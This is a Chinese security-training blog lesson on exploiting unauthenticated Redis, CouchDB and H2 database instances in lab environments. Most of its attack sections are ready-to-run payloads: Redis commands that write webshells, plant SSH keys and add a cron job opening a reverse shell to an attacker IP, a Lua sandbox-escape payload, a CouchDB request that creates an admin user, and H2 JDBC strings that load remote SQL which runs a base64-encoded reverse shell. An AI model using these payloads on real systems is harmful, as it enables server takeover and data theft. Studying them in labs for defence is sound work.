当前位置: 首页 > news >正文

【第78课】数据库安全RedisCouchDBH2database未授权访问CVE漏洞

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点

1、数据库-Redis-未授权RCE&CVE
2、数据库-Couchdb-未授权RCE&CVE
3、数据库-H2database-未授权RCE&CVE

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

在这里插入图片描述
前置知识:
1、复现环境:Vulfocus(官方在线的无法使用,需要自己本地搭建)
官方手册:Document

本地搭建参考文章:
漏洞靶场搭建-Vulfocus_vulfocus靶场搭建 docker-CSDN博客

2、服务判断:
端口扫描:利用服务开启后目标端口开放判断
组合判断:利用搭建常见组合分析可能开放服务
信息来源:访问端口提示软件版本,应用信息等
强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

3、对象类别:
对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法:
主要集中在CVE漏洞,未授权访问,弱口令爆破等

一、演示案例-数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

Redis数据库可视化管理工具:
https://github.com/qishibo/AnotherRedisDesktopManager/

1、未授权访问:CNVD-2015-07557

在这里插入图片描述
在这里插入图片描述

一、写Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
save                           #保存执行

注意:部分web目录可能会没读写权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本地虚拟机环境测试
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、写定时任务反弹shell(需要等待1-2分钟才会反弹)

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述
攻击机:
nc -lvvp 5555
在这里插入图片描述
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败

三、写入Linux ssh-key公钥

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态并允许使用密钥登录

本地生成公钥和私钥
将公钥写入到目标的.ssh文件夹
本地私钥ssh 连接

攻击机

ssh-keygen -t rsa  //执行生成key命令

在这里插入图片描述

cd /root/.ssh/ //进入到这个目录下执行lsid_rsa  #私钥
id_rsa.pub  #公钥

在这里插入图片描述

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  //将生成的公钥保存到key.txtcat key.txt | redis-cli -h 目标IP -x set xxx  //将保存的key.txt文件内容写入redis

在这里插入图片描述

redis链接工具

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

在这里插入图片描述
自己的攻击机使用ssh去连接

cd /root/.ssh/
ssh -i id_rsa root@目标IP

在这里插入图片描述
也可以直接

ssh 目标地址

在这里插入图片描述

四、自动化项目

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
输入r就是反弹shell,输入i就是直接返回一个shell给你执行命令

2、未授权访问-CNVD-2019-21763

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、未授权访问-沙箱绕过RCE-CVE-2022-0543

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在这里插入图片描述

二、演示案例-数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和
CVE-2017-12636披露利用。

1、Couchdb 垂直权限绕过(CVE-2017-12635)

在这里插入图片描述
在这里插入图片描述

一、先创建用户
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{"type": "user","name": "xiaodi","roles": ["_admin"],"roles": [],"password": "xiaodi"
}

在这里插入图片描述

二、登录用户验证
Get:/_utils/
xiaodi xiaodi

在这里插入图片描述

2、Couchdb 命令执行 (CVE-2017-12636)

在这里插入图片描述
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
在这里插入图片描述
在这里插入图片描述

三、演示案例-数据库应用-H2database–未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
在这里插入图片描述
在这里插入图片描述

1、H2database jndi注入

利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

工具地址:JNDI-Injection-Exploit

payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP//反弹shell命令就行base64编码
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

编码后:

bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在这里插入图片描述
攻击端监听就行:

nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接
指定驱动类:

javax.naming.InitialContext

在这里插入图片描述
服务端可以观察到日志:
在这里插入图片描述
成功反弹shell
在这里插入图片描述

2、H2database RCE(CVE-2022-23221)

一、未授权进入
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

在这里插入图片描述
在这里插入图片描述

二、RCE执行反弹

攻击机上完成
创建数据库文件:h2database.sql

CREATE TABLE test (id INT NOT NULL);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
启动提供SQL文件远程加载服务

python3 -m http.server 端口

在这里插入图片描述

三、目标填入Payload使其加载远程SQL
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://
搭建的IP:端口/h2database.sql';\

在这里插入图片描述
在这里插入图片描述
攻击机上监听

nc -lvvp xxxx

在这里插入图片描述

文章知识点与官方知识档案匹配,可进一步学习相关知识

MySQL入门技能树首页概览91874 人正在系统学习中

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • [数据集][目标检测]红外场景下车辆和行人检测数据集VOC+YOLO格式19069张4类别
  • go gc信息如何查看
  • Linux 离线安装docker和docker-compose
  • 21.2 Netty聊天会话管理
  • VScode常见问题的解决方法
  • 简单实现进度条效果(vue2)
  • Windows SDK(九)登录框和计算器练习
  • 数码管进阶设计验证
  • 3.3-CoroutineScope/CoroutineContext:从挂起函数里获取 CoroutineContext
  • 总结:Python语法
  • [JAVA]初识线程池及其基本应用
  • leetcode406:根据身高重建队列
  • FastDFS的安装(分布式项目中的图片管理)
  • 《晶核》服务器架构——第二篇
  • fastap之使用 contextvars 实现上下文变量
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • 10个确保微服务与容器安全的最佳实践
  • 2017届校招提前批面试回顾
  • Git学习与使用心得(1)—— 初始化
  • Java|序列化异常StreamCorruptedException的解决方法
  • JavaScript服务器推送技术之 WebSocket
  • JavaSE小实践1:Java爬取斗图网站的所有表情包
  • js
  • Js实现点击查看全文(类似今日头条、知乎日报效果)
  • nodejs实现webservice问题总结
  • Otto开发初探——微服务依赖管理新利器
  • Sublime Text 2/3 绑定Eclipse快捷键
  • WePY 在小程序性能调优上做出的探究
  • 大整数乘法-表格法
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • -- 数据结构 顺序表 --Java
  • 一些关于Rust在2019年的思考
  • 新年再起“裁员潮”,“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • 组复制官方翻译九、Group Replication Technical Details
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • ​埃文科技受邀出席2024 “数据要素×”生态大会​
  • ​虚拟化系列介绍(十)
  • !!Dom4j 学习笔记
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • (4)事件处理——(7)简单事件(Simple events)
  • (C语言版)链表(三)——实现双向链表创建、删除、插入、释放内存等简单操作...
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (ZT) 理解系统底层的概念是多么重要(by趋势科技邹飞)
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (九十四)函数和二维数组
  • (免费领源码)Python#MySQL图书馆管理系统071718-计算机毕业设计项目选题推荐
  • (微服务实战)预付卡平台支付交易系统卡充值业务流程设计
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (转)Unity3DUnity3D在android下调试
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • .NET Remoting学习笔记(三)信道
  • .NET 通过系统影子账户实现权限维持
  • .NET(C#) Internals: as a developer, .net framework in my eyes
  • /etc/sudoer文件配置简析
  • ??myeclipse+tomcat